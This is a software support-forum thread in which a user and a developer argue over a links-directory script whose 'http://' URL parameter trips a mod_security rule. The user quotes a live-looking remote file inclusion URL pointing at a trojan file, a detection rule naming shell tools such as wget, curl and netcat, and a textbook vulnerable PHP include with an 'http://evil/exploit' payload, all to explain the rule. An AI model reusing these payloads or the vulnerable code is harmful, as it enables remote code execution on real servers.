Error 403 on link viewing

[Cloudrunner]

Sorry, I didn't mean to necro the other thread.

I'm posting here so that it is not ignored however, as the security hole introduced by passing a double link is one that should not be ignored.

I have an issue with 403, the problem is that with the way the link urls are being passed currently, it emulates the easiest way to inject a hidden backlink to a bit of bad code by to passing that double link like what the links directory is trying to do. My host will not allow this to be changed, nor do I want her to do that.

Is there a way that we could get the links directory fixed so that it automatically adds the "http:" instead of passing it in a url so that the modsec doesn't flag? That would seem to be the easiest method for repair of this issue, instead of having the users of the script lower their security on their servers. Seems to me that increasing the security of the script would be the way to do it.

Anyway, I'm just saying this because I JUST today renewed my license for the links directory after letting it sit idle for two years.

My suggestion would be to have the submitted URLs cleaned of the "http://" if they are added upon submission, and then have the script add the "http://" on redirect. That way we increase the security of the script, allow the servers to keep their hardened security without compromising end-user experience and quite frankly give those of us who are very concerned about the security of our servers some peace of mind.

To follow the rules of the forums:
My website is: http://www.noblepagan.com

As you can see I utilize vBadvanced heavily there. It's my sincere hope that the security problem is addressed soon.

Thank you for your time, and again, I apologize for necromancing the other thread.

CR

[Cloudrunner]

Abit more information here on this after some code scrounging.

By adding a link to the DB without the "http://", but in turn adding "http://" dynamically through the script on the outgoing link path within showlink.php and it's associated classes works fine, provides a perfect redirect without pissing off the hardened security.

ie, user inputs: http://www.example.com
Script removes "http://" and saves to the DB: www.example.com
During link verification check and the thumbnail creation the script adds the "http://": http://www.example.com
When user decides to check out the link and goto it, script only passes: www.example.com in the url to pass the variables to showlink.php.
showlink.php then adds "http://" to the linkurl and redirects the user to the address: http://www.example.com
Modsec stays happy the entire time.

The "http://" in the linkurl string is what triggers the security flag, if we could simply strip the "http://" from the initial input, and then add it dynamically where needed for the output linking that would alleviate the entire issue I think. I'll continue to work on this to make sure that it doesn't break anything in the process. Once I have it handled I can post the fix here or send it to the devs, either or is fine with me.

[Our Sponsors]

[Brian]

There's nothing wrong with allowing "http://" in the URL, nor is that a security issue in itself. Perhaps it can lead to one if the data is not sanitized properly and passed into the wrong functions, but that's about it.
Stripping "http://" from the beginning of URL's is not really a solution since there are other protocols that can be used (https, ftp, etc).
Including the full URL is also necessary since some reciprocal link programs can't recognize the link on that page unless it contains the URL.

If having 'http://' within the URL is creating a problem due to your server settings, the best solution would probably be to search your templates for "&linkurl=$link[linkurl]" and remove that code from each (should be 3 different templates total).

[Cloudrunner]

There's nothing wrong with allowing "http://" in the URL, nor is that a security issue in itself ...I disagree, but that is beside the point; I'm not here to argue the finer points of server security.

The fact is that most hosts are migrating to tighter mod_security settings. Knowing there's an issue with a script and current mod_security rollouts and basically saying, "loosen your security to make it work" is not the best way to keep a paying customer to be honest. It's your business you do what you feel your business can handle.

I will post my workarounds for your other paying customers that are experiencing any issues with this.

Thank you for your time.

-CR

[Our Sponsors]

[Brian]

If you can show how *just* allowing 'http://' in the URL itself is a problem then I'll certainly look into things more. I've yet to see anything that shows otherwise though.
As it stands now though, we can't break things like the reciprocal link checking and such to work around a small issue with server settings that probably effects a fraction of a percentage of our members.
I never said in any way "loosen your security to make it work". I said "change your templates if it's a problem for you". ;)

[Cloudrunner]

Check gotroot.com's PHP injection protections for ModSec 2, under SQL injection protection, URI formating protection - this is a fairly widely used set of protections and rulesets in use, being the largest and most comprehensive one that's free (and available to be sold by subscription as soon as they are updated).

The matched pattern for vBadvanced Links Directory is:

Pattern match "(?:ogg|gopher|zlib|(?:ht|f)tps?)\\:/" at ARGS:linkurl.

and is considered: [msg "PHP Injection attempt in URI"] [severity "CRITICAL"].

It's designed to keep people from pulling down hack files, like the following

/jewelry/index.php?main_page=ind...4158f9e8d6f95b79535f40b65/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://vindra01.fileave.com/ID1.txt? HTTP/1.1

Do NOT follow the above address with .txt at the end without GOOD virus protection - it is a trojan.

# Rule 340023: Generic PHP remote file inclusion attack signature
SecRule REQUEST_URI "\.php\?" \
"chain,id:340023,rev:1,severity:2,msg:'PHP remote file inclusion'"
SecRule REQUEST_URI "(?:ogg|gopher|zlib|(?:ht|f)tps?)\:/" chain
SecRule REQUEST_URI|REQUEST_BODY "(?:cmd|command)=(?:cd|\;|perl |killall |python |rpm |yum |apt-get |emerge |lynx |links |mkdir |elinks |cmd|pwd|wget |lwp-(?:download|request|mirror|rget) |id|uname|cvs |svn |(?:s|r)(?:cp|sh) |net(?:stat|cat) |rexec |smbclient |t?ftp |ncftp |curl |telnet |gcc |cc |g\+\+ |whoami|\./|killall |rm \-[a-z|A-Z])"That is the exact line that flags "http://" (or any URI inclusion for that matter) with mod_sec.

From Wikipedia (http://en.wikipedia.org/wiki/Code_injection):
Include file injection

Consider this PHP program (which includes a file specified by request):

<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>

<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

* /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.

Will cleaning the variable prevent this from happening? Yes.

Does vBulletin and vBadvanced do this? Yes.

Is it responsible for a host to loosen their security so that a few hosted sites can code a script without worrying about working around mod_sec? No, and I wouldn't host with them if they did that.

Anyway, that said, it is a problem for me, and I truly do forsee it becoming a more common problem as more and more hosts harden their security. I am merely trying to help. Forgive me if I came off harsh.

As it sits, removing the "&amp;linkurl=$link[linkurl]" from the templates made mod_security happy, so my question is, if it's not needed ... why is it there?

-CR

[Brian]

As it sits, removing the "&amp;linkurl=$link[linkurl]" from the templates made mod_security happy, so my question is, if it's not needed ... why is it there?

-CR


Including the full URL is also necessary since some reciprocal link programs can't recognize the link on that page unless it contains the URL.

;)

I probably should have elaborated a little yesterday, but my mind was more focused on a solution for right here and now... I'm not saying that I'm ignoring the issue and that it's never going to be changed. Just that right now it's not something that seems to affect many people at all, it's not a security problem with vBa Links, and there's a fairly easy solution. So, it's not exactly at the top of the to-do list at the moment.